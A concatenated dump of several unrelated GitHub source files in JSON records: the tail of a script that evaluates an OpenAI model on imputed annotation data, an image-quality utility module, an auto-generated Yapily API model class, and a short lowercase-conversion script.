len(header_order) == len(all_headers), f\"Length of header_order ({len(header_order)}) does not match length of all_headers ({len(all_headers)})\"\n\ndef get_majority_vote(dataset, example_idx):\n annotations = dataset[example_idx]\n # replace -1 with nan so that it doesn't affect the mode\n annotations = np.where(annotations == -1, np.nan, annotations)\n maj_vote, _maj_vote_count = scipy.stats.mode(annotations, nan_policy='omit', axis=None, keepdims=False)\n assert maj_vote == int(maj_vote), f\"Majority vote was not an integer: {maj_vote}\"\n maj_vote = int(maj_vote)\n return maj_vote\n\ndef get_annotation_value(dataset, annotator, example):\n return round(dataset[example, annotator])\n\ndef format_examples(example_ids, dataset):\n ans = \"\"\n for example_count, example_idx in enumerate(example_ids):\n ans += f\"Example {example_count + 1}:\\n\"\n ans += f\"Text: {texts[example_idx][0]}\\n\"\n # round the annotation to the nearest integer, so it doesn't show up as a float (we want 0 not 0.0)\n annotation = get_majority_vote(dataset, example_idx)\n assert annotation != -1, f\"Majority-voted annotation for example {example_idx} was -1\"\n ans += f\"Annotation: {annotation}\\n\\n\"\n\n ans = ans[:-2] # remove the last newlines\n return ans\n\n# def format_examples(annotator_id, example_ids, imputed=False):\n# ans = \"\"\n# for example_count, example_idx in enumerate(example_ids):\n# ans += f\"Example {example_count + 1}:\\n\"\n# ans += f\"Text: {texts[example_idx][0]}\\n\"\n# load_dataset = imputed_annotations if imputed else orig_annotations\n# # round the annotation to the nearest integer, so it doesn't show up as a float (we want 0 not 0.0)\n# annotation = get_annotation_value(load_dataset, annotator_id, example_idx)\n# assert annotation != -1, f\"Annotation for annotator {annotator_id} on example {example_idx} was -1\"\n# ans += f\"Annotation from annotator: {annotation}\\n\\n\"\n\n# ans = ans[:-2] # remove the last newlines\n# return ans\n\ndef format_target_example(example_idx):\n ans = f\"Text: {texts[example_idx][0]}\\nAnnotation:\"\n return ans\n\n# These are done in the main loop code now\n# def get_orig_examples(annotator_id, target_example_idx):\n# example_ids = get_orig_example_ids(annotator_id, target_example_idx)\n# # sample at most N_ORIG_EXAMPLES examples\n# if len(example_ids) > N_ORIG_EXAMPLES:\n# np.random.seed(SEED)\n# example_ids = np.random.choice(example_ids, size=N_ORIG_EXAMPLES, replace=False)\n# orig_examples = format_examples(annotator_id, example_ids)\n# return orig_examples\n\n# def get_imputed_examples(annotator_id, how_many, target_example_idx):\n# # imputed data should be completely full, so just pick numbers at random as long as they aren't the orig examples\n# format_examples(annotator_id, imputed_example_ids, imputed=True)\n# return imputed_examples\n\ndef get_headers_from_header_ids(header_ids):\n headers = []\n for header_index, header_id in enumerate(header_ids):\n if header_id is None:\n headers.append(None)\n else:\n headers.append(all_headers[header_index][header_id])\n\n return headers\n\ndef id_iterator(given_ids, id_maxes):\n \"\"\"\n Iterate through a list of IDs, incrementing each non-None ID based on the corresponding maximum value in id_maxes.\n\n This generator function takes two lists as input:\n - given_ids: A list of non-negative integers and Nones.\n - id_maxes: A list of positive integers, representing the maximum value (exclusive) for each corresponding ID in given_ids.\n\n The function yields the next state of the given_ids list, incrementing the non-None IDs until the maximum value for each ID is reached.\n\n Args:\n given_ids (List[Union[int, None]]): A list of non-negative integers and Nones.\n id_maxes (List[int]): A list of positive integers, representing the maximum value (exclusive) for each corresponding ID in given_ids.\n\n Yields:\n List[Union[int, None]]: The next state of the given_ids list, with non-None IDs incremented based on the corresponding maximum value in id_maxes.\n \"\"\"\n current_ids = given_ids.copy()\n yield current_ids.copy()\n\n while True:\n for i in range(len(given_ids)):\n if given_ids[i] is not None:\n if current_ids[i] < id_maxes[i] - 1:\n current_ids[i] += 1\n break\n else:\n current_ids[i] = 0\n else:\n break\n\n yield current_ids.copy()\n\n# These variables allow you to ignore particular prompt versions that aren't very useful\n# put indexes of versions of prompts that you always want to ignore\n# for example, if you don't like the 2nd version of the 3rd header, set this to [[], [], [1], [], []]\n# prompt_versions_to_ignore = [[0, 1], [], [], [], [0]]\nprompt_versions_to_ignore = [[], [], [], [], []]\nassert len(prompt_versions_to_ignore) == len(header_order), f\"Length of prompt_versions_to_ignore ({len(prompt_versions_to_ignore)}) does not match length of header_order ({len(header_order)})\"\n# put specific combinations of prompt versions that you want to ignore\n# for example, if you want to ignore [1, None, 3, 2, 2] and [1, None, 3, 2, 3], set this to [[1, None, 3, 2, 2], [1, None, 3, 2, 3]]\nspecific_prompt_versions_to_ignore = []\n# if this has any versions at all, it will override all ignores, and these will be the only versions included\n# specific_prompt_versions_to_include = [[4, None, 0, None, 1], [None, None, 0, None, 0], [None, None, 0, 1, 0], [2, 0, 0, None, None], [None, None, None, None, None], [None, 0, 0, None, None], [0, None, 0, None, 0], [None, None, 0, 1, 1], [1, 0, 0, None, None]]\nspecific_prompt_versions_to_include = []\n\n# if empty, include all ablations\n# [swapping_headers, swapping_data, replacing_data, which_data_replaced]\nablations_to_include = [\n [False, False, False, False], # initial\n [False, False, True, False], # replacing imputed data with original data\n [False, True, False, False], # swapping the position of the imputed and original data\n]\n\nfor ablation in ablations_to_include:\n assert isinstance(ablation, list), \"ablations_to_include must be a list of lists\"\n\nassert not (specific_prompt_versions_to_include and (specific_prompt_versions_to_ignore or (True in [bool(header_index) for header_index in prompt_versions_to_ignore]))), \"You can't have specific_prompt_versions_to_include and [specific_prompt_versions_to_ignore or prompt_versions_to_ignore] at the same time\"\n\nfor dataset in tqdm(DATASETS, desc=\"Datasets\"):\n outputs_folder = \"./outputs\"\n orig_annotations_location = f\"../../datasets/cleaned/{dataset}_annotations.npy\"\n imputed_annotations_location = f\"../../datasets/final_imputation_results/ncf_imputation_results/{dataset}_-1_ncf_imputation_-1.npy\"\n texts_location = f\"../../datasets/cleaned/{dataset}_texts.npy\"\n rate_limit_pause = 60 / rate_limits[MODEL]\n\n # Load the data\n orig_annotations = np.load(orig_annotations_location, allow_pickle=True)\n imputed_annotations = np.load(imputed_annotations_location, allow_pickle=True)\n texts = np.load(texts_location, allow_pickle=True)\n # will round the labels to the nearest integer\n valid_labels = sorted(list(map(int, np.unique(orig_annotations[orig_annotations != -1]))))\n\n get_orig_examples = lambda idxs: format_examples(idxs, orig_annotations)\n get_imputed_examples = lambda idxs: format_examples(idxs, imputed_annotations)\n\n dataset_description = file_to_string(f\"../distributional/dataset_descriptions/{dataset}_description.txt\") \n \n example_costs = []\n # store the response based on the ablation and headers\n answers_by_prompt_choice = {}\n # iterate through each prompt\n for prompt_name in tqdm(PROMPT_NAMES, desc=\"Prompts\", leave=False):\n prompt_location = f\"./prompts/{prompt_name}.txt\"\n\n # iterate through number of examples\n for num_examples_index in tqdm(range(len(N_ORIG_EXAMPLES)), desc=\"Number of examples\", leave=False):\n n_orig_examples = N_ORIG_EXAMPLES[num_examples_index]\n n_imputed_examples = N_IMPUTED_EXAMPLES[num_examples_index]\n n_target_examples = N_TARGET_EXAMPLES[num_examples_index]\n\n target_example_idxs = np.random.choice(len(orig_annotations), n_target_examples, replace=False)\n \n # iterate through each target example\n for target_example_idx in tqdm(target_example_idxs, desc=\"Target examples\", leave=False):\n # get random indices for the target, original, and imputed examples\n remaining_idxs = np.arange(len(orig_annotations))\n remaining_idxs = np.delete(remaining_idxs, target_example_idx)\n np.random.seed(SEED)\n orig_idxs = np.random.choice(remaining_idxs, n_orig_examples, replace=False)\n remaining_idxs = np.delete(remaining_idxs, orig_idxs)\n np.random.seed(SEED)\n imputed_idxs = np.random.choice(remaining_idxs, n_imputed_examples, replace=False)\n\n # iterate through which ablation study we're doing\n # we just ignore which_data_replaced if replacing_data is False\n len_ablation_study = 2 ** 4\n for swapping_headers, swapping_data, replacing_data, which_data_replaced in tqdm(itertools.product([True, False], repeat=4), desc=\"Ablation study\", total=len_ablation_study, leave=False):\n\n ablation = [swapping_headers, swapping_data, replacing_data, which_data_replaced]\n if not ablations_to_include or ablation not in ablations_to_include:\n tqdm.write(f\"Skipping ablation {ablation}\")\n continue\n\n if not replacing_data and not which_data_replaced:\n # if we've already done this ablation, skip it\n if [swapping_headers, swapping_data, replacing_data, True] in ablations_to_include or not ablations_to_include:\n tqdm.write(f\"We already did this ablation since when not replacing data, which_data_replaced is ignored. Skipping ablation {ablation}\")\n continue\n\n swapping_headers_str = \"headers_swap\" if swapping_headers else \"no_headers_swap\"\n swapping_data_str = \"data_swap\" if swapping_data else \"no_data_swap\"\n replacing_data_str = \"replaced\" if replacing_data else \"no_replace\"\n if replacing_data:\n which_data_replaced_str = \"1st_replaced\" if which_data_replaced else \"2nd_replaced\"\n else:\n which_data_replaced_str = \"none_replaced\"\n\n prompt_ablation = f\"{swapping_headers_str}_{swapping_data_str}_{replacing_data_str}_{which_data_replaced_str}\"\n \n\n save_folder = f\"outputs/{dataset}/{prompt_name}/{swapping_headers_str}/{swapping_data_str}/{replacing_data_str}/{which_data_replaced_str}/\"\n answers_by_prompt_choice_save_location = os.path.join(save_folder, \"answers_by_prompt_choice.json\")\n make_path(save_folder)\n\n # get the prompt\n unformatted_prompt = file_to_string(prompt_location)\n format_names = get_format_names(unformatted_prompt)\n\n # get the examples\n if swapping_data:\n # it's the imputed that come first now\n get_examples1_func = get_imputed_examples\n get_examples1_data = imputed_idxs\n get_examples2_func = get_orig_examples\n get_examples2_data = orig_idxs\n else:\n # orig then imputed, as usual\n get_examples1_func = get_orig_examples\n get_examples1_data = orig_idxs\n get_examples2_func = get_imputed_examples\n get_examples2_data = imputed_idxs\n\n if replacing_data:\n if which_data_replaced:\n # Make the first examples the same kind as the second\n get_examples1_func = get_examples2_func\n else:\n get_examples2_func = get_examples1_func\n\n orig_examples = get_examples1_func(get_examples1_data)\n imputed_examples = get_examples2_func(get_examples2_data)\n \n # get the target example\n target_example = format_target_example(target_example_idx)\n target_answer = get_majority_vote(orig_annotations, target_example_idx)\n\n # get the headers\n # [imputed_header, orig_header, target_header]\n header_ids = [None] * len(header_order)\n for header_index, header_name in enumerate(header_order):\n if header_name in format_names:\n # make this header included in the cycled headers\n header_ids[header_index] = 0\n\n # get the maximum values for each header ID\n header_id_maxes = [len(headers) for headers in all_headers]\n\n format_dict = {\n \"dataset_description\": dataset_description,\n \"orig_examples\": orig_examples,\n \"imputed_examples\": imputed_examples,\n \"target_example\": target_example\n }\n\n # iterate through different header fillers\n for header_ids in tqdm(id_iterator(header_ids, header_id_maxes), desc=\"Header IDs\", total=len(list(id_iterator(header_ids, header_id_maxes))), leave=False):\n\n if specific_prompt_versions_to_include and header_ids not in specific_prompt_versions_to_include:\n tqdm.write(f\"Skipping version {str(header_ids)} because it is not in specific_prompt_versions_to_include.\")\n continue\n\n if header_ids in specific_prompt_versions_to_ignore:\n tqdm.write(f\"Skipping version {str(header_ids)} because it is in specific_prompt_versions_to_ignore.\")\n continue\n \n for header_index, header_id in enumerate(header_ids):\n if header_id in prompt_versions_to_ignore[header_index]:\n tqdm.write(f\"Skipping version {str(header_ids)} because header {header_index} with ID {header_id} is in prompt_versions_to_ignore.\")\n continue\n\n header_ids_str = str(header_ids)\n\n headers = get_headers_from_header_ids(header_ids)\n header_dict = {header_name: headers[header_index] for header_index, header_name in enumerate(header_order) if headers[header_index] is not None}\n\n format_dict.update(header_dict)\n\n if swapping_headers:\n # swap \"orig_examples_header\" and \"imputed_examples_header\"\n orig_examples_header = format_dict[\"orig_examples_header\"]\n imputed_examples_header = format_dict[\"imputed_examples_header\"]\n format_dict[\"orig_examples_header\"] = imputed_examples_header\n format_dict[\"imputed_examples_header\"] = orig_examples_header\n\n prompt = unformatted_prompt.format(**format_dict)\n\n # save the prompt\n tqdm.write(\"Saving the prompt...\")\n start_save_location = f\"Prompt_{prompt_name}_Example_{target_example_idx}_NOrig_{n_orig_examples}_NImput_{n_imputed_examples}_{swapping_headers_str}_{swapping_data_str}_{replacing_data_str}_{which_data_replaced_str}_Choices_{header_ids}_\"\n save_prompt_location = os.path.join(save_folder, start_save_location + \"prompt.txt\")\n make_path(save_prompt_location)\n with open(save_prompt_location, 'w', encoding=ENCODING) as f:\n f.write(prompt)\n\n # setup messages for chat\n messages = [\n {\"role\": \"user\", \"content\": prompt},\n ]\n\n # save messages\n save_messages_location = os.path.join(save_folder, start_save_location + \"messages.json\")\n with open(save_messages_location, 'w', encoding=ENCODING) as f:\n json.dump(messages, f, indent=4)\n\n # Now, have the model complete the prompt\n tqdm.write(\"Asking OpenAI to complete the prompt...\")\n error_count = 0\n while True:\n try:\n response = openai.ChatCompletion.create(\n model=MODEL,\n max_tokens=MAX_TOKENS,\n messages=messages,\n temperature=TEMPERATURE\n )\n break\n except Exception as e:\n error_count += 1\n if error_count > 5:\n if isinstance(e, openai.error.RateLimitError):\n raise Exception(\"Rate limit exceeded too many times.\") from e\n elif isinstance(e, openai.error.ServiceUnavailableError):\n raise Exception(\"Service unavailable too many times.\") from e\n else:\n raise e\n \n if isinstance(e, openai.error.RateLimitError):\n tqdm.write(f\"Rate limit exceeded. Pausing for {rate_limit_pause} seconds.\")\n elif isinstance(e, openai.error.ServiceUnavailableError):\n tqdm.write(f\"Service unavailable; you likely paused and resumed. Pausing on our own for {rate_limit_pause} seconds to help reset things and then retrying.\")\n else:\n tqdm.write(f\"Type of error: {type(e)}\")\n tqdm.write(f\"Error: {e}\")\n tqdm.write(f\"Pausing for {rate_limit_pause} seconds.\")\n time.sleep(rate_limit_pause)\n continue\n\n tqdm.write(\"OpenAI has completed the prompt.\")\n # save the json response\n tqdm.write(\"Saving the response...\")\n response_json_save_location = os.path.join(save_folder, start_save_location + \"response.json\")\n make_path(response_json_save_location)\n with open(response_json_save_location, \"w\", encoding=ENCODING) as f:\n json.dump(response, f, indent=4)\n\n response_text = response.choices[0].message.content\n response_text_save_location = os.path.join(save_folder, start_save_location + \"response.txt\")\n with open(response_text_save_location, \"w\", encoding=ENCODING) as f:\n f.write(response_text)\n tqdm.write(\"Response saved.\")\n\n try:\n model_answer = int(response_text.strip())\n except:\n model_answer = None\n\n # save the model answer\n answer = {\n \"model_answer\": model_answer,\n \"target_answer\": target_answer,\n \"correct\": model_answer == target_answer,\n \"valid\": model_answer is not None\n }\n\n answer_save_location = os.path.join(save_folder, start_save_location + \"answer.json\")\n with open(answer_save_location, \"w\", encoding=ENCODING) as f:\n print(answer)\n json.dump(answer, f, indent=4)\n\n if prompt_ablation not in answers_by_prompt_choice:\n answers_by_prompt_choice[prompt_ablation] = {}\n\n header_ids_str = str(header_ids)\n prompt_version = header_ids_str\n\n if str(header_ids) not in answers_by_prompt_choice[prompt_ablation]:\n answers_by_prompt_choice[prompt_ablation][str(header_ids)] = {\n \"true_answers\": [],\n \"model_answers\": []\n }\n\n answers_by_prompt_choice[prompt_ablation][prompt_version][\"true_answers\"].append(target_answer)\n answers_by_prompt_choice[prompt_ablation][prompt_version][\"model_answers\"].append(model_answer if model_answer is not None else -1)\n with open(answers_by_prompt_choice_save_location, \"w\", encoding=ENCODING) as f:\n json.dump(answers_by_prompt_choice, f, indent=4)\n\n try:\n prompt_price_per_token = pricing[MODEL][PROMPT_PRICE_PER_TOKEN_KEY]\n completion_price_per_token = pricing[MODEL][COMPLETION_PRICE_PER_TOKEN_KEY]\n cost = response.usage.prompt_tokens * prompt_price_per_token + response.usage.completion_tokens * completion_price_per_token\n except Exception as e:\n tb_str = traceback.format_exc()\n tqdm.write(\"Something went wrong when trying to compute the cost.\")\n tqdm.write(tb_str)\n\n tqdm.write(f\"Cost: {cost}\")\n example_costs.append(cost)\n\n # pause so that we don't hit the rate limit\n tqdm.write(f\"Pausing for {rate_limit_pause} seconds so that we don't hit the rate limit...\")\n time.sleep(rate_limit_pause)\n\n # now we're saving data for the whole dataset\n big_save_folder = f\"./outputs/{dataset}\"\n make_path(big_save_folder)\n\n # save the annotator costs as json\n example_costs = {\n \"example_costs\": example_costs,\n \"total_cost\": float(np.sum(example_costs))\n }\n with open(make_path(os.path.join(big_save_folder, \"example_costs.json\")), \"w\", encoding=ENCODING) as f:\n json.dump(example_costs, f, indent=4)\n\n # compute classification reports\n for prompt_ablation in answers_by_prompt_choice:\n for prompt_version in answers_by_prompt_choice[prompt_ablation]:\n true_answers = answers_by_prompt_choice[prompt_ablation][prompt_version][\"true_answers\"]\n model_answers = answers_by_prompt_choice[prompt_ablation][prompt_version][\"model_answers\"]\n choice_classification_report = classification_report(true_answers, model_answers, output_dict=True, zero_division=0)\n answers_by_prompt_choice[prompt_ablation][prompt_version][\"classification_report\"] = choice_classification_report\n\n # save the classification reports\n with open(answers_by_prompt_choice_save_location, \"w\", encoding=ENCODING) as f:\n json.dump(answers_by_prompt_choice, f, indent=4)\n\n # summarize the main stats\n clean_stats1 = {\n prompt_ablation: {\n prompt_version: {\n \"accuracy\": answers_by_prompt_choice[prompt_ablation][prompt_version][\"classification_report\"][\"accuracy\"],\n \"weighted avg f1-score\": answers_by_prompt_choice[prompt_ablation][prompt_version][\"classification_report\"][\"weighted avg\"][\"f1-score\"],\n \"valid answer rate\": np.mean([1 if answer != -1 else 0 for answer in answers_by_prompt_choice[prompt_ablation][prompt_version][\"model_answers\"]])\n }\n for prompt_version in answers_by_prompt_choice[prompt_ablation]\n }\n for prompt_ablation in answers_by_prompt_choice\n }\n\n with open(make_path(os.path.join(big_save_folder, \"major_stats.json\")), \"w\", encoding=ENCODING) as f:\n json.dump(clean_stats1, f, indent=4)\n\n clean_stats2 = {}\n for prompt_ablation in clean_stats1:\n best_acc = float('-inf')\n best_f1 = float('-inf')\n best_valid_answer_rate = float('-inf')\n best_acc_version = None\n best_f1_version = None\n best_valid_answer_rate_version = None\n for prompt_version in clean_stats1[prompt_ablation]:\n acc = clean_stats1[prompt_ablation][prompt_version][\"accuracy\"]\n f1 = clean_stats1[prompt_ablation][prompt_version][\"weighted avg f1-score\"]\n valid_answer_rate = clean_stats1[prompt_ablation][prompt_version][\"valid answer rate\"]\n if acc > best_acc:\n best_acc = acc\n best_acc_version = prompt_version\n if f1 > best_f1:\n best_f1 = f1\n best_f1_version = prompt_version\n if valid_answer_rate > best_valid_answer_rate:\n best_valid_answer_rate = valid_answer_rate\n best_valid_answer_rate_version = prompt_version\n clean_stats2[prompt_ablation] = {\n \"best accuracy\": {\n \"value\": best_acc,\n \"version\": best_acc_version\n },\n \"best weighted avg f1-score\": {\n \"value\": best_f1,\n \"version\": best_f1_version\n },\n \"best valid answer rate\": {\n \"value\": best_valid_answer_rate,\n \"version\": best_valid_answer_rate_version,\n \"accuracy\": answers_by_prompt_choice[prompt_ablation][best_valid_answer_rate_version][\"classification_report\"][\"accuracy\"],\n \"weighted avg f1-score\": answers_by_prompt_choice[prompt_ablation][best_valid_answer_rate_version][\"classification_report\"][\"weighted avg\"][\"f1-score\"]\n }\n }\n\n with open(make_path(os.path.join(big_save_folder, \"summary_stats.json\")), \"w\", encoding=ENCODING) as f:\n json.dump(clean_stats2, f, indent=4)\n\n clean_stats3 = {\n prompt_ablation: {\n \"best accuracy\": clean_stats2[prompt_ablation][\"best accuracy\"][\"value\"],\n \"best weighted avg f1-score\": clean_stats2[prompt_ablation][\"best weighted avg f1-score\"][\"value\"]\n }\n for prompt_ablation in clean_stats2\n }\n\n with open(make_path(os.path.join(big_save_folder, \"simple_stats.json\")), \"w\", encoding=ENCODING) as f:\n json.dump(clean_stats3, f, indent=4)\n\n print(f\"Testing complete for dataset {dataset}.\")\n print(\"Statistics:\")\n print(json.dumps(clean_stats3, indent=2))\n print(\"Total Price\")\n print(example_costs[\"total_cost\"])","repo_name":"minnesotanlp/annotation-imputation","sub_path":"post_arxiv_gpt/aggregate/aggregate_imputation_test.py","file_name":"aggregate_imputation_test.py","file_ext":"py","file_size_in_byte":33357,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"2"} +{"seq_id":"10917707098","text":"import torch\nimport torch.nn as nn\nimport torch.nn.functional as F\nimport torchvision\nimport torchvision.transforms as T\n\nimport numpy as np\nfrom PIL import Image\n\nimport skimage\nfrom skimage.measure import compare_psnr, compare_ssim\nfrom math import log\nimport os\nimport os.path as _P\n\nUSE_SKI_COMP = False\n\nbase_path = _P.split(_P.dirname(__file__))[0]\nsave_path = _P.join(base_path, 'data', 'save')\ntest_path = _P.join(base_path, 'data', 'test')\n\n# Functions\ndef to_psnr(mse, max_range=4):\n\tpsnr = 10*log(max_range/mse, 10)\n\treturn psnr\n\n\n\ndef rgb2ycbcr(img, only_y=True):\n '''same as matlab rgb2ycbcr\n only_y: only return Y channel\n Input:\n uint8, [0, 255]\n float, [0, 1]\n '''\n in_img_type = img.dtype\n img.astype(np.float32)\n if in_img_type != np.uint8:\n img *= 255.\n # convert\n if only_y:\n rlt = np.dot(img, [65.481, 128.553, 24.966]) / 255.0 + 16.0\n else:\n rlt = np.matmul(img, [[65.481, -37.797, 112.0], [128.553, -74.203, -93.786],\n [24.966, 112.0, -18.214]]) / 255.0 + [16, 128, 128]\n if in_img_type == np.uint8:\n rlt = rlt.round()\n else:\n rlt /= 255.\n return rlt.astype(in_img_type)\n\n\n\ndef pil_mse(pil1, pil2):\n\tpil1 = rgb2ycbcr(np.asarray(pil1))\n\tpil2 = rgb2ycbcr(np.asarray(pil2))\n\tmse = np.mean((pil1.astype(np.float64) - pil2.astype(np.float64))**2)\n\treturn mse\n\n\n\ndef pil_psnr(pil1, pil2):\n\tif USE_SKI_COMP:\n\t\tpil1 = np.asarray(pil1)\n\t\tpil2 = np.asarray(pil2)\n\t\treturn compare_psnr(pil1[:,:,0], pil2[:,:,0])\n\telse:\n\t\tmse = pil_mse(pil1, pil2)\n\t\treturn 10*log(255**2/mse, 10)\n\n\n\ndef pil_ssim(pil1, pil2):\n\tif USE_SKI_COMP:\n\t\tpil1 = np.array(pil1)\n\t\tpil2 = np.array(pil2)\n\t\treturn compare_ssim(pil1, pil2)\n\telse:\n\t\treturn None\n\n\n\ndef pixel_count(img):\n\tcount = 1\n\tif isinstance(img, torch.Tensor):\n\t\tfor i in img.shape:\n\t\t\tcount *= i\n\telif isinstance(img, Image.Image):\n\t\tfor i in img.size:\n\t\t\tcount *= i\n\telse:\n\t\tcount = 0\n\treturn count\n\n\n\ndef to_pil_image(img_tensor, color_mode='RGB'):\n\t# [-1,1] tensor Un-Normalize to [0,1] tensor\n\t# img_tensor = img_tensor/2 + 0.5\n\timg_tensor = (img_tensor+1)*255\n\timg_tensor = torch.ceil(img_tensor) // 2\n\timg_tensor = img_tensor/255\n\timg_tensor = img_tensor.clamp(0, 1)\n\timg = T.ToPILImage(mode=color_mode)(img_tensor)\n\timg = img.convert('RGB')\n\treturn img\n\n\n\ndef show_image(img_data):\n\tif isinstance(img_data, (torch.Tensor, np.ndarray)):\n\t\timg_data = to_pil_image(img_data)\n\timg_data.show()\n\n\n\ndef save_image(img_data, save_file, save_path=save_path,\n\t\t\tsub_path=None, file_type='.png', notice=False):\n\tif isinstance(img_data, (torch.Tensor, np.ndarray)):\n\t\timg_data = to_pil_image(img_data)\n\tsave_file = save_file + file_type\n\tif sub_path:\n\t\ttry:\n\t\t\tos.mkdir(os.path.join(save_path, sub_path))\n\t\texcept FileExistsError as e:\n\t\t\tif notice:\n\t\t\t\tprint('Path %s Exists'%save_path)\n\t\t\tpass\n\t\tsave_file = os.path.join(save_path, sub_path, save_file)\n\telse:\n\t\tsave_file = os.path.join(sub_path, save_file)\n\timg_data.save(save_file)","repo_name":"HeyNog/Noob_SISR","sub_path":"utils/pic_utils.py","file_name":"pic_utils.py","file_ext":"py","file_size_in_byte":2999,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"2"} +{"seq_id":"44153633567","text":"# coding: utf-8\n\n\"\"\"\n Yapily API\n\n To access endpoints that require authentication, use your application key and secret created in the Dashboard (https://dashboard.yapily.com) # noqa: E501\n\n The version of the OpenAPI document: 0.0.359\n Generated by: https://openapi-generator.tech\n\"\"\"\n\n\nimport pprint\nimport re # noqa: F401\n\nimport six\n\nfrom yapily.configuration import Configuration\n\n\nclass Location(object):\n \"\"\"NOTE: This class is auto generated by OpenAPI Generator.\n Ref: https://openapi-generator.tech\n\n Do not edit the class manually.\n \"\"\"\n\n \"\"\"\n Attributes:\n openapi_types (dict): The key is attribute name\n and the value is attribute type.\n attribute_map (dict): The key is attribute name\n and the value is json key in definition.\n \"\"\"\n openapi_types = {\n 'location_category': 'list[str]',\n 'other_location_category': 'list[LocationOtherLocationCategory]',\n 'postal_address': 'PostalAddress1',\n 'site': 'Site',\n 'map_service_links': 'ATMMapServiceLinks'\n }\n\n attribute_map = {\n 'location_category': 'LocationCategory',\n 'other_location_category': 'OtherLocationCategory',\n 'postal_address': 'PostalAddress',\n 'site': 'Site',\n 'map_service_links': 'mapServiceLinks'\n }\n\n def __init__(self, location_category=None, other_location_category=None, postal_address=None, site=None, map_service_links=None, local_vars_configuration=None): # noqa: E501\n \"\"\"Location - a model defined in OpenAPI\"\"\" # noqa: E501\n if local_vars_configuration is None:\n local_vars_configuration = Configuration()\n self.local_vars_configuration = local_vars_configuration\n\n self._location_category = None\n self._other_location_category = None\n self._postal_address = None\n self._site = None\n self._map_service_links = None\n self.discriminator = None\n\n if location_category is not None:\n self.location_category = location_category\n if other_location_category is not None:\n self.other_location_category = other_location_category\n if postal_address is not None:\n self.postal_address = postal_address\n if site is not None:\n self.site = site\n if map_service_links is not None:\n self.map_service_links = map_service_links\n\n @property\n def location_category(self):\n \"\"\"Gets the location_category of this Location. # noqa: E501\n\n\n :return: The location_category of this Location. # noqa: E501\n :rtype: list[str]\n \"\"\"\n return self._location_category\n\n @location_category.setter\n def location_category(self, location_category):\n \"\"\"Sets the location_category of this Location.\n\n\n :param location_category: The location_category of this Location. # noqa: E501\n :type: list[str]\n \"\"\"\n allowed_values = [\"BranchExternal\", \"BranchInternal\", \"BranchLobby\", \"Other\", \"RetailerOutlet\", \"RemoteUnit\"] # noqa: E501\n if (self.local_vars_configuration.client_side_validation and\n not set(location_category).issubset(set(allowed_values))): # noqa: E501\n raise ValueError(\n \"Invalid values for `location_category` [{0}], must be a subset of [{1}]\" # noqa: E501\n .format(\", \".join(map(str, set(location_category) - set(allowed_values))), # noqa: E501\n \", \".join(map(str, allowed_values)))\n )\n\n self._location_category = location_category\n\n @property\n def other_location_category(self):\n \"\"\"Gets the other_location_category of this Location. # noqa: E501\n\n\n :return: The other_location_category of this Location. # noqa: E501\n :rtype: list[LocationOtherLocationCategory]\n \"\"\"\n return self._other_location_category\n\n @other_location_category.setter\n def other_location_category(self, other_location_category):\n \"\"\"Sets the other_location_category of this Location.\n\n\n :param other_location_category: The other_location_category of this Location. # noqa: E501\n :type: list[LocationOtherLocationCategory]\n \"\"\"\n\n self._other_location_category = other_location_category\n\n @property\n def postal_address(self):\n \"\"\"Gets the postal_address of this Location. # noqa: E501\n\n\n :return: The postal_address of this Location. # noqa: E501\n :rtype: PostalAddress1\n \"\"\"\n return self._postal_address\n\n @postal_address.setter\n def postal_address(self, postal_address):\n \"\"\"Sets the postal_address of this Location.\n\n\n :param postal_address: The postal_address of this Location. # noqa: E501\n :type: PostalAddress1\n \"\"\"\n\n self._postal_address = postal_address\n\n @property\n def site(self):\n \"\"\"Gets the site of this Location. # noqa: E501\n\n\n :return: The site of this Location. # noqa: E501\n :rtype: Site\n \"\"\"\n return self._site\n\n @site.setter\n def site(self, site):\n \"\"\"Sets the site of this Location.\n\n\n :param site: The site of this Location. # noqa: E501\n :type: Site\n \"\"\"\n\n self._site = site\n\n @property\n def map_service_links(self):\n \"\"\"Gets the map_service_links of this Location. # noqa: E501\n\n\n :return: The map_service_links of this Location. # noqa: E501\n :rtype: ATMMapServiceLinks\n \"\"\"\n return self._map_service_links\n\n @map_service_links.setter\n def map_service_links(self, map_service_links):\n \"\"\"Sets the map_service_links of this Location.\n\n\n :param map_service_links: The map_service_links of this Location. # noqa: E501\n :type: ATMMapServiceLinks\n \"\"\"\n\n self._map_service_links = map_service_links\n\n def to_dict(self):\n \"\"\"Returns the model properties as a dict\"\"\"\n result = {}\n\n for attr, _ in six.iteritems(self.openapi_types):\n value = getattr(self, attr)\n if isinstance(value, list):\n result[attr] = list(map(\n lambda x: x.to_dict() if hasattr(x, \"to_dict\") else x,\n value\n ))\n elif hasattr(value, \"to_dict\"):\n result[attr] = value.to_dict()\n elif isinstance(value, dict):\n result[attr] = dict(map(\n lambda item: (item[0], item[1].to_dict())\n if hasattr(item[1], \"to_dict\") else item,\n value.items()\n ))\n else:\n result[attr] = value\n\n return result\n\n def to_str(self):\n \"\"\"Returns the string representation of the model\"\"\"\n return pprint.pformat(self.to_dict())\n\n def __repr__(self):\n \"\"\"For `print` and `pprint`\"\"\"\n return self.to_str()\n\n def __eq__(self, other):\n \"\"\"Returns true if both objects are equal\"\"\"\n if not isinstance(other, Location):\n return False\n\n return self.to_dict() == other.to_dict()\n\n def __ne__(self, other):\n \"\"\"Returns true if both objects are not equal\"\"\"\n if not isinstance(other, Location):\n return True\n\n return self.to_dict() != other.to_dict()\n","repo_name":"MedatechUK/yapily","sub_path":"yapily/models/location.py","file_name":"location.py","file_ext":"py","file_size_in_byte":7391,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"2"} +{"seq_id":"42866941916","text":"# Converts line to lower case and prints\n# Author: ArronS\n# Date: 26.8.15\n\nimport sys\n\ntest_cases = open(sys.argv[1], 'r')\n\nfor test in test_cases:\n result = test.lower() # converts all line text to lower case with function\n print(result, end=\"\") # prints result\n\ntest_cases.close()\n","repo_name":"ArronS/CodeEval","sub_path":"Lowercase.py","file_name":"Lowercase.py","file_ext":"py","file_size_in_byte":293,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"2"} +{"seq_id":"4207063631","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Sat Jun 16 00:50:04 2018\n\n@author: 